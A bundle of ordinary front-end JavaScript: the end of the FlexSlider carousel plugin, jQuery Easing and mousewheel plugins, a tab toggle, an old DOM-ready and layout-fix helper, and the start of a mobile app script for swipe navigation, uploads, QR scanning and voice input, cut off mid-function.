// INFINITE LOOP / REVERSE:
if (carousel) {
//margin = (slider.vars.itemWidth > slider.w) ? slider.vars.itemMargin * 2 : slider.vars.itemMargin;
margin = slider.vars.itemMargin;
calcNext = ((slider.itemW + margin) * slider.move) * slider.animatingTo;
slideString = (calcNext > slider.limit && slider.visible !== 1) ? slider.limit : calcNext;
} else if (slider.currentSlide === 0 && target === slider.count - 1 && slider.vars.animationLoop && slider.direction !== "next") {
slideString = (reverse) ? (slider.count + slider.cloneOffset) * dimension : 0;
} else if (slider.currentSlide === slider.last && target === 0 && slider.vars.animationLoop && slider.direction !== "prev") {
slideString = (reverse) ? 0 : (slider.count + 1) * dimension;
} else {
slideString = (reverse) ? ((slider.count - 1) - target + slider.cloneOffset) * dimension : (target + slider.cloneOffset) * dimension;
}
slider.setProps(slideString, "", slider.vars.animationSpeed);
if (slider.transitions) {
if (!slider.vars.animationLoop || !slider.atEnd) {
slider.animating = false;
slider.currentSlide = slider.animatingTo;
}
slider.container.unbind("webkitTransitionEnd transitionend");
slider.container.bind("webkitTransitionEnd transitionend", function() {
slider.wrapup(dimension);
});
} else {
slider.container.animate(slider.args, slider.vars.animationSpeed, slider.vars.easing, function(){
slider.wrapup(dimension);
});
}
} else { // FADE:
if (!touch) {
//slider.slides.eq(slider.currentSlide).fadeOut(slider.vars.animationSpeed, slider.vars.easing);
//slider.slides.eq(target).fadeIn(slider.vars.animationSpeed, slider.vars.easing, slider.wrapup);
slider.slides.eq(slider.currentSlide).css({"zIndex": 1}).animate({"opacity": 0}, slider.vars.animationSpeed, slider.vars.easing);
slider.slides.eq(target).css({"zIndex": 2}).animate({"opacity": 1}, slider.vars.animationSpeed, slider.vars.easing, slider.wrapup);
} else {
slider.slides.eq(slider.currentSlide).css({ "opacity": 0, "zIndex": 1 });
slider.slides.eq(target).css({ "opacity": 1, "zIndex": 2 });
slider.wrapup(dimension);
}
}
// SMOOTH HEIGHT:
if (slider.vars.smoothHeight) methods.smoothHeight(slider.vars.animationSpeed);
}
}
slider.wrapup = function(dimension) {
// SLIDE:
if (!fade && !carousel) {
if (slider.currentSlide === 0 && slider.animatingTo === slider.last && slider.vars.animationLoop) {
slider.setProps(dimension, "jumpEnd");
} else if (slider.currentSlide === slider.last && slider.animatingTo === 0 && slider.vars.animationLoop) {
slider.setProps(dimension, "jumpStart");
}
}
slider.animating = false;
slider.currentSlide = slider.animatingTo;
// API: after() animation Callback
slider.vars.after(slider);
}
// SLIDESHOW:
slider.animateSlides = function() {
if (!slider.animating && focused ) slider.flexAnimate(slider.getTarget("next"));
}
// SLIDESHOW:
slider.pause = function() {
clearInterval(slider.animatedSlides);
slider.animatedSlides = null;
slider.playing = false;
// PAUSEPLAY:
if (slider.vars.pausePlay) methods.pausePlay.update("play");
// SYNC:
if (slider.syncExists) methods.sync("pause");
}
// SLIDESHOW:
slider.play = function() {
if (slider.playing) clearInterval(slider.animatedSlides);
slider.animatedSlides = slider.animatedSlides || setInterval(slider.animateSlides, slider.vars.slideshowSpeed);
slider.started = slider.playing = true;
// PAUSEPLAY:
if (slider.vars.pausePlay) methods.pausePlay.update("pause");
// SYNC:
if (slider.syncExists) methods.sync("play");
}
// STOP:
slider.stop = function () {
slider.pause();
slider.stopped = true;
}
slider.canAdvance = function(target, fromNav) {
// ASNAV:
var last = (asNav) ? slider.pagingCount - 1 : slider.last;
return (fromNav) ? true :
(asNav && slider.currentItem === slider.count - 1 && target === 0 && slider.direction === "prev") ? true :
(asNav && slider.currentItem === 0 && target === slider.pagingCount - 1 && slider.direction !== "next") ? false :
(target === slider.currentSlide && !asNav) ? false :
(slider.vars.animationLoop) ? true :
(slider.atEnd && slider.currentSlide === 0 && target === last && slider.direction !== "next") ? false :
(slider.atEnd && slider.currentSlide === last && target === 0 && slider.direction === "next") ? false :
true;
}
slider.getTarget = function(dir) {
slider.direction = dir;
if (dir === "next") {
return (slider.currentSlide === slider.last) ? 0 : slider.currentSlide + 1;
} else {
return (slider.currentSlide === 0) ? slider.last : slider.currentSlide - 1;
}
}
// SLIDE:
slider.setProps = function(pos, special, dur) {
var target = (function() {
var posCheck = (pos) ? pos : ((slider.itemW + slider.vars.itemMargin) * slider.move) * slider.animatingTo,
posCalc = (function() {
if (carousel) {
return (special === "setTouch") ? pos :
(reverse && slider.animatingTo === slider.last) ? 0 :
(reverse) ? slider.limit - (((slider.itemW + slider.vars.itemMargin) * slider.move) * slider.animatingTo) :
(slider.animatingTo === slider.last) ? slider.limit : posCheck;
} else {
switch (special) {
case "setTotal": return (reverse) ? ((slider.count - 1) - slider.currentSlide + slider.cloneOffset) * pos : (slider.currentSlide + slider.cloneOffset) * pos;
case "setTouch": return (reverse) ? pos : pos;
case "jumpEnd": return (reverse) ? pos : slider.count * pos;
case "jumpStart": return (reverse) ? slider.count * pos : pos;
default: return pos;
}
}
}());
return (posCalc * -1) + "px";
}());
if (slider.transitions) {
target = (vertical) ? "translate3d(0," + target + ",0)" : "translate3d(" + target + ",0,0)";
dur = (dur !== undefined) ? (dur/1000) + "s" : "0s";
slider.container.css("-" + slider.pfx + "-transition-duration", dur);
}
slider.args[slider.prop] = target;
if (slider.transitions || dur === undefined) slider.container.css(slider.args);
}
slider.setup = function(type) {
// SLIDE:
if (!fade) {
var sliderOffset, arr;
if (type === "init") {
slider.viewport = $('<div class="' + namespace + 'viewport"></div>').css({"overflow": "hidden", "position": "relative"}).appendTo(slider).append(slider.container);
// INFINITE LOOP:
slider.cloneCount = 0;
slider.cloneOffset = 0;
// REVERSE:
if (reverse) {
arr = $.makeArray(slider.slides).reverse();
slider.slides = $(arr);
slider.container.empty().append(slider.slides);
}
}
// INFINITE LOOP && !CAROUSEL:
if (slider.vars.animationLoop && !carousel) {
slider.cloneCount = 2;
slider.cloneOffset = 1;
// clear out old clones
if (type !== "init") slider.container.find('.clone').remove();
slider.container.append(slider.slides.first().clone().addClass('clone').attr('aria-hidden', 'true')).prepend(slider.slides.last().clone().addClass('clone').attr('aria-hidden', 'true'));
}
slider.newSlides = $(slider.vars.selector, slider);
sliderOffset = (reverse) ? slider.count - 1 - slider.currentSlide + slider.cloneOffset : slider.currentSlide + slider.cloneOffset;
// VERTICAL:
if (vertical && !carousel) {
slider.container.height((slider.count + slider.cloneCount) * 200 + "%").css("position", "absolute").width("100%");
setTimeout(function(){
slider.newSlides.css({"display": "block"});
slider.doMath();
slider.viewport.height(slider.h);
slider.setProps(sliderOffset * slider.h, "init");
}, (type === "init") ? 100 : 0);
} else {
slider.container.width((slider.count + slider.cloneCount) * 200 + "%");
slider.setProps(sliderOffset * slider.computedW, "init");
setTimeout(function(){
slider.doMath();
slider.newSlides.css({"width": slider.computedW, "float": "left", "display": "block"});
// SMOOTH HEIGHT:
if (slider.vars.smoothHeight) methods.smoothHeight();
}, (type === "init") ? 100 : 0);
}
} else { // FADE:
slider.slides.css({"width": "100%", "float": "left", "marginRight": "-100%", "position": "relative"});
if (type === "init") {
if (!touch) {
//slider.slides.eq(slider.currentSlide).fadeIn(slider.vars.animationSpeed, slider.vars.easing);
slider.slides.css({ "opacity": 0, "display": "block", "zIndex": 1 }).eq(slider.currentSlide).css({"zIndex": 2}).animate({"opacity": 1},slider.vars.animationSpeed,slider.vars.easing);
} else {
slider.slides.css({ "opacity": 0, "display": "block", "webkitTransition": "opacity " + slider.vars.animationSpeed / 1000 + "s ease", "zIndex": 1 }).eq(slider.currentSlide).css({ "opacity": 1, "zIndex": 2});
}
}
// SMOOTH HEIGHT:
if (slider.vars.smoothHeight) methods.smoothHeight();
}
// !CAROUSEL:
// CANDIDATE: active slide
if (!carousel) slider.slides.removeClass(namespace + "active-slide").eq(slider.currentSlide).addClass(namespace + "active-slide");
}
slider.doMath = function() {
var slide = slider.slides.first(),
slideMargin = slider.vars.itemMargin,
minItems = slider.vars.minItems,
maxItems = slider.vars.maxItems;
slider.w = (slider.viewport===undefined) ? slider.width() : slider.viewport.width();
slider.h = slide.height();
slider.boxPadding = slide.outerWidth() - slide.width();
// CAROUSEL:
if (carousel) {
slider.itemT = slider.vars.itemWidth + slideMargin;
slider.minW = (minItems) ? minItems * slider.itemT : slider.w;
slider.maxW = (maxItems) ? (maxItems * slider.itemT) - slideMargin : slider.w;
slider.itemW = (slider.minW > slider.w) ? (slider.w - (slideMargin * (minItems - 1)))/minItems :
(slider.maxW < slider.w) ? (slider.w - (slideMargin * (maxItems - 1)))/maxItems :
(slider.vars.itemWidth > slider.w) ? slider.w : slider.vars.itemWidth;
slider.visible = Math.floor(slider.w/(slider.itemW));
slider.move = (slider.vars.move > 0 && slider.vars.move < slider.visible ) ? slider.vars.move : slider.visible;
slider.pagingCount = Math.ceil(((slider.count - slider.visible)/slider.move) + 1);
slider.last = slider.pagingCount - 1;
slider.limit = (slider.pagingCount === 1) ? 0 :
(slider.vars.itemWidth > slider.w) ? (slider.itemW * (slider.count - 1)) + (slideMargin * (slider.count - 1)) : ((slider.itemW + slideMargin) * slider.count) - slider.w - slideMargin;
} else {
slider.itemW = slider.w;
slider.pagingCount = slider.count;
slider.last = slider.count - 1;
}
slider.computedW = slider.itemW - slider.boxPadding;
}
slider.update = function(pos, action) {
slider.doMath();
// update currentSlide and slider.animatingTo if necessary
if (!carousel) {
if (pos < slider.currentSlide) {
slider.currentSlide += 1;
} else if (pos <= slider.currentSlide && pos !== 0) {
slider.currentSlide -= 1;
}
slider.animatingTo = slider.currentSlide;
}
// update controlNav
if (slider.vars.controlNav && !slider.manualControls) {
if ((action === "add" && !carousel) || slider.pagingCount > slider.controlNav.length) {
methods.controlNav.update("add");
} else if ((action === "remove" && !carousel) || slider.pagingCount < slider.controlNav.length) {
if (carousel && slider.currentSlide > slider.last) {
slider.currentSlide -= 1;
slider.animatingTo -= 1;
}
methods.controlNav.update("remove", slider.last);
}
}
// update directionNav
if (slider.vars.directionNav) methods.directionNav.update();
}
slider.addSlide = function(obj, pos) {
var $obj = $(obj);
slider.count += 1;
slider.last = slider.count - 1;
// append new slide
if (vertical && reverse) {
(pos !== undefined) ? slider.slides.eq(slider.count - pos).after($obj) : slider.container.prepend($obj);
} else {
(pos !== undefined) ? slider.slides.eq(pos).before($obj) : slider.container.append($obj);
}
// update currentSlide, animatingTo, controlNav, and directionNav
slider.update(pos, "add");
// update slider.slides
slider.slides = $(slider.vars.selector + ':not(.clone)', slider);
// re-setup the slider to accomdate new slide
slider.setup();
//FlexSlider: added() Callback
slider.vars.added(slider);
}
slider.removeSlide = function(obj) {
var pos = (isNaN(obj)) ? slider.slides.index($(obj)) : obj;
// update count
slider.count -= 1;
slider.last = slider.count - 1;
// remove slide
if (isNaN(obj)) {
$(obj, slider.slides).remove();
} else {
(vertical && reverse) ? slider.slides.eq(slider.last).remove() : slider.slides.eq(obj).remove();
}
// update currentSlide, animatingTo, controlNav, and directionNav
slider.doMath();
slider.update(pos, "remove");
// update slider.slides
slider.slides = $(slider.vars.selector + ':not(.clone)', slider);
// re-setup the slider to accomdate new slide
slider.setup();
// FlexSlider: removed() Callback
slider.vars.removed(slider);
}
//FlexSlider: Initialize
methods.init();
}
// Ensure the slider isn't focussed if the window loses focus.
$( window ).blur( function ( e ) {
focused = false;
}).focus( function ( e ) {
focused = true;
});
//FlexSlider: Default Settings
$.flexslider.defaults = {
namespace: "flex-", //{NEW} String: Prefix string attached to the class of every element generated by the plugin
selector: ".slides > li", //{NEW} Selector: Must match a simple pattern. '{container} > {slide}' -- Ignore pattern at your own peril
animation: "fade", //String: Select your animation type, "fade" or "slide"
easing: "swing", //{NEW} String: Determines the easing method used in jQuery transitions. jQuery easing plugin is supported!
direction: "horizontal", //String: Select the sliding direction, "horizontal" or "vertical"
reverse: false, //{NEW} Boolean: Reverse the animation direction
animationLoop: true, //Boolean: Should the animation loop? If false, directionNav will received "disable" classes at either end
smoothHeight: false, //{NEW} Boolean: Allow height of the slider to animate smoothly in horizontal mode
startAt: 0, //Integer: The slide that the slider should start on. Array notation (0 = first slide)
slideshow: true, //Boolean: Animate slider automatically
slideshowSpeed: 7000, //Integer: Set the speed of the slideshow cycling, in milliseconds
animationSpeed: 600, //Integer: Set the speed of animations, in milliseconds
initDelay: 0, //{NEW} Integer: Set an initialization delay, in milliseconds
randomize: false, //Boolean: Randomize slide order
thumbCaptions: false, //Boolean: Whether or not to put captions on thumbnails when using the "thumbnails" controlNav.
// Usability features
pauseOnAction: true, //Boolean: Pause the slideshow when interacting with control elements, highly recommended.
pauseOnHover: false, //Boolean: Pause the slideshow when hovering over slider, then resume when no longer hovering
pauseInvisible: true, //{NEW} Boolean: Pause the slideshow when tab is invisible, resume when visible. Provides better UX, lower CPU usage.
useCSS: true, //{NEW} Boolean: Slider will use CSS3 transitions if available
touch: true, //{NEW} Boolean: Allow touch swipe navigation of the slider on touch-enabled devices
video: false, //{NEW} Boolean: If using video in the slider, will prevent CSS3 3D Transforms to avoid graphical glitches
// Primary Controls
controlNav: true, //Boolean: Create navigation for paging control of each clide? Note: Leave true for manualControls usage
directionNav: true, //Boolean: Create navigation for previous/next navigation? (true/false)
prevText: "Previous", //String: Set the text for the "previous" directionNav item
nextText: "Next", //String: Set the text for the "next" directionNav item
// Secondary Navigation
keyboard: true, //Boolean: Allow slider navigating via keyboard left/right keys
multipleKeyboard: false, //{NEW} Boolean: Allow keyboard navigation to affect multiple sliders. Default behavior cuts out keyboard navigation with more than one slider present.
mousewheel: false, //{UPDATED} Boolean: Requires jquery.mousewheel.js (https://github.com/brandonaaron/jquery-mousewheel) - Allows slider navigating via mousewheel
pausePlay: false, //Boolean: Create pause/play dynamic element
pauseText: "Pause", //String: Set the text for the "pause" pausePlay item
playText: "Play", //String: Set the text for the "play" pausePlay item
// Special properties
controlsContainer: "", //{UPDATED} jQuery Object/Selector: Declare which container the navigation elements should be appended too. Default container is the FlexSlider element. Example use would be $(".flexslider-container"). Property is ignored if given element is not found.
manualControls: "", //{UPDATED} jQuery Object/Selector: Declare custom control navigation. Examples would be $(".flex-control-nav li") or "#tabs-nav li img", etc. The number of elements in your controlNav should match the number of slides/tabs.
sync: "", //{NEW} Selector: Mirror the actions performed on this slider with another slider. Use with care.
asNavFor: "", //{NEW} Selector: Internal property exposed for turning the slider into a thumbnail navigation for another slider
// Carousel Options
itemWidth: 0, //{NEW} Integer: Box-model width of individual carousel items, including horizontal borders and padding.
itemMargin: 0, //{NEW} Integer: Margin between carousel items.
minItems: 1, //{NEW} Integer: Minimum number of carousel items that should be visible. Items will resize fluidly when below this.
maxItems: 0, //{NEW} Integer: Maxmimum number of carousel items that should be visible. Items will resize fluidly when above this limit.
move: 0, //{NEW} Integer: Number of carousel items that should move on animation. If 0, slider will move all visible items.
allowOneSlide: true, //{NEW} Boolean: Whether or not to allow a slider comprised of a single slide
// Callback API
start: function(){}, //Callback: function(slider) - Fires when the slider loads the first slide
before: function(){}, //Callback: function(slider) - Fires asynchronously with each slider animation
after: function(){}, //Callback: function(slider) - Fires after each slider animation completes
end: function(){}, //Callback: function(slider) - Fires when the slider reaches the last slide (asynchronous)
added: function(){}, //{NEW} Callback: function(slider) - Fires after a slide is added
removed: function(){} //{NEW} Callback: function(slider) - Fires after a slide is removed
}
//FlexSlider: Plugin Function
$.fn.flexslider = function(options) {
if (options === undefined) options = {};
if (typeof options === "object") {
return this.each(function() {
var $this = $(this),
selector = (options.selector) ? options.selector : ".slides > li",
$slides = $this.find(selector);
if ( ( $slides.length === 1 && options.allowOneSlide === true ) || $slides.length === 0 ) {
$slides.fadeIn(400);
if (options.start) options.start($this);
} else if ($this.data('flexslider') === undefined) {
new $.flexslider(this, options);
}
});
} else {
// Helper strings to quickly perform functions on the slider
var $slider = $(this).data('flexslider');
switch (options) {
case "play": $slider.play(); break;
case "pause": $slider.pause(); break;
case "stop": $slider.stop(); break;
case "next": $slider.flexAnimate($slider.getTarget("next"), true); break;
case "prev":
case "previous": $slider.flexAnimate($slider.getTarget("prev"), true); break;
default: if (typeof options === "number") $slider.flexAnimate(options, true);
}
}
}
})(jQuery);
|
JavaScript
|
/*
* jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
*
* Uses the built in easing capabilities added In jQuery 1.1
* to offer multiple easing options
*
* TERMS OF USE - jQuery Easing
*
* Open source under the BSD License.
*
* Copyright © 2008 George McGinley Smith
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* Neither the name of the author nor the names of contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
// t: current time, b: begInnIng value, c: change In value, d: duration
jQuery.easing['jswing'] = jQuery.easing['swing'];
jQuery.extend( jQuery.easing,
{
def: 'easeOutQuad',
swing: function (x, t, b, c, d) {
//alert(jQuery.easing.default);
return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
},
easeInQuad: function (x, t, b, c, d) {
return c*(t/=d)*t + b;
},
easeOutQuad: function (x, t, b, c, d) {
return -c *(t/=d)*(t-2) + b;
},
easeInOutQuad: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t + b;
return -c/2 * ((--t)*(t-2) - 1) + b;
},
easeInCubic: function (x, t, b, c, d) {
return c*(t/=d)*t*t + b;
},
easeOutCubic: function (x, t, b, c, d) {
return c*((t=t/d-1)*t*t + 1) + b;
},
easeInOutCubic: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t*t + b;
return c/2*((t-=2)*t*t + 2) + b;
},
easeInQuart: function (x, t, b, c, d) {
return c*(t/=d)*t*t*t + b;
},
easeOutQuart: function (x, t, b, c, d) {
return -c * ((t=t/d-1)*t*t*t - 1) + b;
},
easeInOutQuart: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
return -c/2 * ((t-=2)*t*t*t - 2) + b;
},
easeInQuint: function (x, t, b, c, d) {
return c*(t/=d)*t*t*t*t + b;
},
easeOutQuint: function (x, t, b, c, d) {
return c*((t=t/d-1)*t*t*t*t + 1) + b;
},
easeInOutQuint: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
return c/2*((t-=2)*t*t*t*t + 2) + b;
},
easeInSine: function (x, t, b, c, d) {
return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
},
easeOutSine: function (x, t, b, c, d) {
return c * Math.sin(t/d * (Math.PI/2)) + b;
},
easeInOutSine: function (x, t, b, c, d) {
return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
},
easeInExpo: function (x, t, b, c, d) {
return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
},
easeOutExpo: function (x, t, b, c, d) {
return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
},
easeInOutExpo: function (x, t, b, c, d) {
if (t==0) return b;
if (t==d) return b+c;
if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
},
easeInCirc: function (x, t, b, c, d) {
return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
},
easeOutCirc: function (x, t, b, c, d) {
return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
},
easeInOutCirc: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
},
easeInElastic: function (x, t, b, c, d) {
var s=1.70158;var p=0;var a=c;
if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
if (a < Math.abs(c)) { a=c; var s=p/4; }
else var s = p/(2*Math.PI) * Math.asin (c/a);
return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
},
easeOutElastic: function (x, t, b, c, d) {
var s=1.70158;var p=0;var a=c;
if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
if (a < Math.abs(c)) { a=c; var s=p/4; }
else var s = p/(2*Math.PI) * Math.asin (c/a);
return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
},
easeInOutElastic: function (x, t, b, c, d) {
var s=1.70158;var p=0;var a=c;
if (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5);
if (a < Math.abs(c)) { a=c; var s=p/4; }
else var s = p/(2*Math.PI) * Math.asin (c/a);
if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
},
easeInBack: function (x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
return c*(t/=d)*t*((s+1)*t - s) + b;
},
easeOutBack: function (x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
},
easeInOutBack: function (x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
},
easeInBounce: function (x, t, b, c, d) {
return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;
},
easeOutBounce: function (x, t, b, c, d) {
if ((t/=d) < (1/2.75)) {
return c*(7.5625*t*t) + b;
} else if (t < (2/2.75)) {
return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
} else if (t < (2.5/2.75)) {
return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
} else {
return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
}
},
easeInOutBounce: function (x, t, b, c, d) {
if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
}
});
/*
*
* TERMS OF USE - EASING EQUATIONS
*
* Open source under the BSD License.
*
* Copyright © 2001 Robert Penner
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* Neither the name of the author nor the names of contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
|
JavaScript
|
$(function(){
var toggles = $('.toggle a'),
codes = $('.code');
toggles.on("click", function(event){
event.preventDefault();
var $this = $(this);
if (!$this.hasClass("active")) {
toggles.removeClass("active");
$this.addClass("active");
codes.hide().filter(this.hash).show();
}
});
toggles.first().click();
});
|
JavaScript
|
/*! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net)
* Licensed under the MIT License (LICENSE.txt).
*
* Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.
* Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.
* Thanks to: Seamus Leahy for adding deltaX and deltaY
*
* Version: 3.0.6
*
* Requires: 1.2.2+
*/
(function($) {
var types = ['DOMMouseScroll', 'mousewheel'];
if ($.event.fixHooks) {
for ( var i=types.length; i; ) {
$.event.fixHooks[ types[--i] ] = $.event.mouseHooks;
}
}
$.event.special.mousewheel = {
setup: function() {
if ( this.addEventListener ) {
for ( var i=types.length; i; ) {
this.addEventListener( types[--i], handler, false );
}
} else {
this.onmousewheel = handler;
}
},
teardown: function() {
if ( this.removeEventListener ) {
for ( var i=types.length; i; ) {
this.removeEventListener( types[--i], handler, false );
}
} else {
this.onmousewheel = null;
}
}
};
$.fn.extend({
mousewheel: function(fn) {
return fn ? this.bind("mousewheel", fn) : this.trigger("mousewheel");
},
unmousewheel: function(fn) {
return this.unbind("mousewheel", fn);
}
});
function handler(event) {
var orgEvent = event || window.event, args = [].slice.call( arguments, 1 ), delta = 0, returnValue = true, deltaX = 0, deltaY = 0;
event = $.event.fix(orgEvent);
event.type = "mousewheel";
// Old school scrollwheel delta
if ( orgEvent.wheelDelta ) { delta = orgEvent.wheelDelta/120; }
if ( orgEvent.detail ) { delta = -orgEvent.detail/3; }
// New school multidimensional scroll (touchpads) deltas
deltaY = delta;
// Gecko
if ( orgEvent.axis !== undefined && orgEvent.axis === orgEvent.HORIZONTAL_AXIS ) {
deltaY = 0;
deltaX = -1*delta;
}
// Webkit
if ( orgEvent.wheelDeltaY !== undefined ) { deltaY = orgEvent.wheelDeltaY/120; }
if ( orgEvent.wheelDeltaX !== undefined ) { deltaX = -1*orgEvent.wheelDeltaX/120; }
// Add event and delta to the front of the arguments
args.unshift(event, delta, deltaX, deltaY);
return ($.event.dispatch || $.event.handle).apply(this, args);
}
})(jQuery);
|
JavaScript
|
try {
document.execCommand("BackgroundImageCache", false, true);
} catch(err) {}
function addDOMLoadEvent(f){if(!window.__ADLE){var n=function(){if(arguments.callee.d)return;arguments.callee.d=true;if(window.__ADLET){clearInterval(window.__ADLET);window.__ADLET=null}for(var i=0;i<window.__ADLE.length;i++){window.__ADLE[i]()}window.__ADLE=null};if(document.addEventListener)document.addEventListener("DOMContentLoaded",n,false);/*@cc_on @*//*@if (@_win32)document.write("<scr"+"ipt id=__ie_onload defer src=//0><\/scr"+"ipt>");var s=document.getElementById("__ie_onload");s.onreadystatechange=function(){if(this.readyState=="complete")n()};/*@end @*/if(/WebKit/i.test(navigator.userAgent)){window.__ADLET=setInterval(function(){if(/loaded|complete/.test(document.readyState)){n()}},10)}window.onload=n;window.__ADLE=[]}window.__ADLE.push(f)}
function getElementsByClass(searchClass,node,tag) {
var classElements = new Array();
if ( node == null )
node = document;
if ( tag == null )
tag = '*';
var els = node.getElementsByTagName(tag);
var elsLen = els.length;
var pattern = new RegExp("(^|\\s)"+searchClass+"(\\s|$)");
for (i = 0, j = 0; i < elsLen; i++) {
if ( pattern.test(els[i].className) ) {
classElements[j] = els[i];
j++;
}
}
return classElements;
}
function fixlayout_ff () {
var title_wrapper_right = getElementsByClass('title_wrapper_right',null,null);
if(!title_wrapper_right.length) {return false}
for(i=0; i<title_wrapper_right.length; i++) {
var this_element = title_wrapper_right[i];
var this_element_parent = title_wrapper_right[i].parentNode;
this_element.style.display = 'none';
title_wrapper_right[i].parentNode.removeChild(title_wrapper_right[i]);
this_element_parent.appendChild(this_element);
this_element.style.display = 'block';
}
}
window.onresize = function () {
fixlayout_ff ();
}
|
JavaScript
|
function app_ready($){
$("#login").height($(window).height());
if(Modernizr.mq("(max-width:767px)")){
if($('#right').size()>0){
$('#right_box').empty();
$('#right').appendTo('#right_box');
// 防止多次监听
$('#main').off('swipeLeft.once');
$('#main').on('swipeLeft.once',function(){
$('#main').addClass('show_right_nav');
});
$('#main').off('swipeRight.once');
$('#main').on('swipeRight.once',function(){
$('#main').removeClass('show_right_nav');
});
}
}
$('input:file').TPMupload('/Index/upload');
}
function show_right_nav(){
if($('#main').is('.show_right_nav')){
$('#main').removeClass('show_right_nav');
}else{
$('#main').addClass('show_right_nav');
}
}
//扫描二维码
function qrcode(){
sina.barcodeScanner.scan(function(result) {
TPM.http(result.text);
});
}
//语言识别
function voice(){
if(!isclient){
alert('请在手机客户端中使用');
return ;
}
var appId = '4fa77fe4';
sina.voice.recognizer.init(appId);
sina.voice.recognizer.setOption({
engine: 'sms',
sampleRate: 'rate16k',
});
